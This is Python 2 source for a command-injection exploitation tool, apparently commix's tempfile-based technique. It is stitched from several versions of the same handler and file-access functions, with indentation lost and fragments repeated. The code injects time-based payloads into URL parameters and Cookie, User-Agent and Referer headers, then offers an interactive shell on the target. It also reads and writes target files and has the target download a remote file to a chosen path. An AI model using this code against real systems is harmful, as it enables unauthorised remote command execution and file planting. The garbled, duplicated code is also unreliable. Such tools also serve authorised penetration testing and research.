randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell)
if str(output) == str(randvcalc):
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
else:
percent = str(percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
percent = ((num_of_chars * 100) / total)
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(percent)+"%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay) :
if len(TAG) == output_length:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check for any enumeration options.
tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check if defined single cmd.
if menu.options.os_cmd:
tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd == "?":
menu.shell_options()
continue
elif cmd.lower() == "quit":
logs.logs_notification(filename)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
break
else:
pass
else:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0 :
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
break
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method):
counter = 0
vp_flag = True
no_result = True
is_encoded = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Print the findings to log file.
output_file = open(filename + ".txt", "a")
output_file.write("\n---")
output_file.write("\n(+) Type : " + injection_type)
output_file.write("\n(+) Technique : " + technique.title())
output_file.close()
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print colors.BGRED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + colors.RESET
i = 0
# Calculate all possible combinations
total = len(settings.SEPARATORS)
#Estimating the response time (in seconds)
sys.stdout.write("(*) The estimated response time is ")
sys.stdout.flush()
opener = urllib.FancyURLopener({})
start = time.time()
f = opener.open(url)
end = time.time()
diff = end - start
url_time_response = int(diff)
print str(url_time_response) + " second" + "s"[url_time_response ==
1:] + "."
delay = int(delay) + int(url_time_response)
for separator in settings.SEPARATORS:
i = i + 1
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Check if defined "--base64" option.
if menu.options.base64_trick == True:
B64_ENC_TAG = base64.b64encode(TAG)
B64_DEC_TRICK = settings.B64_DEC_TRICK
else:
B64_ENC_TAG = TAG
B64_DEC_TRICK = ""
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + B64_ENC_TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for j in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell:
payload = tfb_payloads.decision_alter_shell(
separator, j, TAG, OUTPUT_TEXTFILE, delay,
http_request_method)
else:
payload = tfb_payloads.decision(separator, j, TAG,
OUTPUT_TEXTFILE, delay,
http_request_method)
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
sys.stdout.write("\n" + colors.GREY + payload +
colors.RESET)
# Check if target host is vulnerable
how_long, vuln_parameter = tfb_injector.injection_test(
payload, http_request_method, url)
if not menu.options.verbose:
percent = ((i * 100) / total)
if how_long == delay:
percent = colors.GREEN + "SUCCEED" + colors.RESET
elif percent == 100:
if no_result == True:
percent = colors.RED + "FAILED" + colors.RESET
else:
percent = str(percent) + "%"
else:
percent = str(percent) + "%"
sys.stdout.write(colors.BOLD + "\r(*) Testing the " +
technique + "... " + colors.RESET + "[ " +
percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
if not menu.options.verbose:
percent = ((i * 100) / total)
if percent == 100:
if no_result == True:
percent = colors.RED + "FAILED" + colors.RESET
else:
percent = str(percent) + "%"
else:
percent = str(percent) + "%"
sys.stdout.write(colors.BOLD + "\r(*) Testing the " +
technique + "... " + colors.RESET + "[ " +
percent + " ]")
sys.stdout.flush()
continue
# Yaw, got shellz!
# Do some magic tricks!
if how_long == delay:
found = True
no_result = False
if http_request_method == "GET":
# Print the findings to log file
if vp_flag == True:
output_file = open(filename + ".txt", "a")
output_file.write("\n(+) Parameter : " +
vuln_parameter + " (" +
http_request_method + ")")
output_file.write("\n---\n")
vp_flag = False
output_file.close()
counter = counter + 1
output_file = open(filename + ".txt", "a")
output_file.write(" (" + str(counter) + ") Payload : " +
re.sub("%20", " ", payload) + "\n")
output_file.close()
#Vulnerabe Parameter
GET_vuln_param = parameters.vuln_GET_param(url)
# Print the findings to terminal.
print colors.BOLD + "\n(!) The (" + http_request_method + ") '" + colors.UNDERL + GET_vuln_param + colors.RESET + colors.BOLD + "' parameter is vulnerable to " + injection_type + "." + colors.RESET
print " (+) Type : " + colors.YELLOW + colors.BOLD + injection_type + colors.RESET + ""
print " (+) Technique : " + colors.YELLOW + colors.BOLD + technique.title(
) + colors.RESET + ""
print " (+) Payload : " + colors.YELLOW + colors.BOLD + re.sub(
"%20", " ",
urllib.unquote_plus(payload)) + colors.RESET
else:
# Print the findings to log file
if vp_flag == True:
output_file = open(filename + ".txt", "a")
output_file.write("\n(+) Parameter : " +
vuln_parameter + " (" +
http_request_method + ")")
output_file.write("\n---\n")
vp_flag = False
output_file.close()
counter = counter + 1
output_file = open(filename + ".txt", "a")
output_file.write(" (" + str(counter) + ") Payload : " +
re.sub("%20", " ", payload) + "\n")
output_file.close()
#Vulnerabe Parameter
POST_vuln_param = vuln_parameter
# Print the findings to terminal.
print colors.BOLD + "\n(!) The (" + http_request_method + ") '" + colors.UNDERL + POST_vuln_param + colors.RESET + colors.BOLD + "' parameter is vulnerable to " + injection_type + "." + colors.RESET
print " (+) Type : " + colors.YELLOW + colors.BOLD + injection_type + colors.RESET + ""
print " (+) Technique : " + colors.YELLOW + colors.BOLD + technique.title(
) + colors.RESET + ""
print " (+) Payload : " + colors.YELLOW + colors.BOLD + re.sub(
"%20", " ", payload) + colors.RESET
# Check for any enumeration options.
tfb_enumeration.do_check(separator, maxlen, TAG, delay,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell)
# Pseudo-Terminal shell
gotshell = raw_input(
"\n(*) Do you want a Pseudo-Terminal shell? [Y/n] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
sys.exit(0)
else:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay,
http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
print "\n\n" + colors.GREEN + colors.BOLD + output + colors.RESET
print "\n(*) Finished in " + time.strftime(
'%H:%M:%S',
time.gmtime(check_how_long)) + ".\n"
except KeyboardInterrupt:
print ""
sys.exit(0)
else:
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the " +
technique + "... ")
sys.stdout.flush()
pass
if no_result == True:
if menu.options.verbose == False:
print ""
return False
else:
print ""
return False
else:
if menu.options.verbose == True:
print ""
sys.stdout.write("\r")
sys.stdout.flush()
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return check_how_long, output
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
print Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell)
if str(output) == str(randvcalc):
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
else:
percent = str(percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
percent = ((num_of_chars * 100) / total)
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(percent)+"%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay) :
if len(TAG) == output_length:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check for any enumeration options.
tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check if defined single cmd.
if menu.options.os_cmd:
tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd == "?":
menu.shell_options()
continue
elif cmd.lower() == "quit":
logs.logs_notification(filename)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
break
else:
pass
else:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0 :
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
break
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def do_check(separator,maxlen,TAG,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell):
# Read file
if menu.options.file_read:
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(colors.BOLD + "\n\n (!) Contents of file " + colors.UNDERL + file_to_read + colors.RESET + " : ")
sys.stdout.flush()
print shell
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + colors.RESET)
sys.stdout.flush()
# Write file
if menu.options.file_write:
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that the '"+ file_to_write + "' file, does not exists." + colors.RESET)
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'","\"")
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that '"+ file_to_write + "' is not a file." + colors.RESET)
sys.stdout.flush()
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_write = settings.TMP_PATH + file_name
else:
dest_to_write = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_write
# Execute command
cmd = settings.FILE_WRITE + " '"+ content + "' "
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(colors.BOLD + "\n(!) The " + colors.UNDERL + shell + colors.RESET + colors.BOLD +" file was created successfully!\n" + colors.RESET)
sys.stdout.flush()
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + colors.RESET + "\n")
sys.stdout.flush()
# Upload file
if menu.options.file_upload:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that the '"+ file_to_upload + "' file, does not exists. ("+str(err)+")" + colors.RESET + "\n")
sys.stdout.flush()
sys.exit(0)
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_upload = settings.TMP_PATH + file_name
else:
dest_to_upload = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_upload
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
## Check if file exists!
cmd = "echo $(ls " + dest_to_upload + ")"
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(colors.BOLD + "\n(!) The " + colors.UNDERL + shell + colors.RESET + colors.BOLD +" file was created successfully!\n" + colors.RESET)
sys.stdout.flush()
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_upload + "' file." + colors.RESET + "\n")
sys.stdout.flush()
# eof
dest_to_upload = settings.TMP_PATH + file_name
else:
dest_to_upload = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_upload
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
## Check if file exists!
cmd = "echo $(ls " + dest_to_upload + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_upload + "' file." + Style.RESET_ALL + "\n")
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
vp_flag = True
no_result = True
is_encoded = False
fixation = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
num_of_chars = 0
# Calculate all possible combinations
total = len(settings.SEPARATORS)
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
print Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
percent = ((num_of_chars * 100) / total)
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
if len(TAG) == output_length :
if fixation == True:
delay = delay + 1
else:
fixation = True
continue
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
output = tfb_injector.false_positive_check(separator, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell)
if str(output) == str(randvcalc):
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
percent = str(percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
percent = ((num_of_chars * 100) / total)
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(percent)+"%"
raise
else:
percent = str(percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if ((url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay)) and len(TAG) == output_length:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
http_request_method = "cookie"
found_vuln_parameter = vuln_parameter
else:
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
tfb_enumeration.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check for any enumeration options.
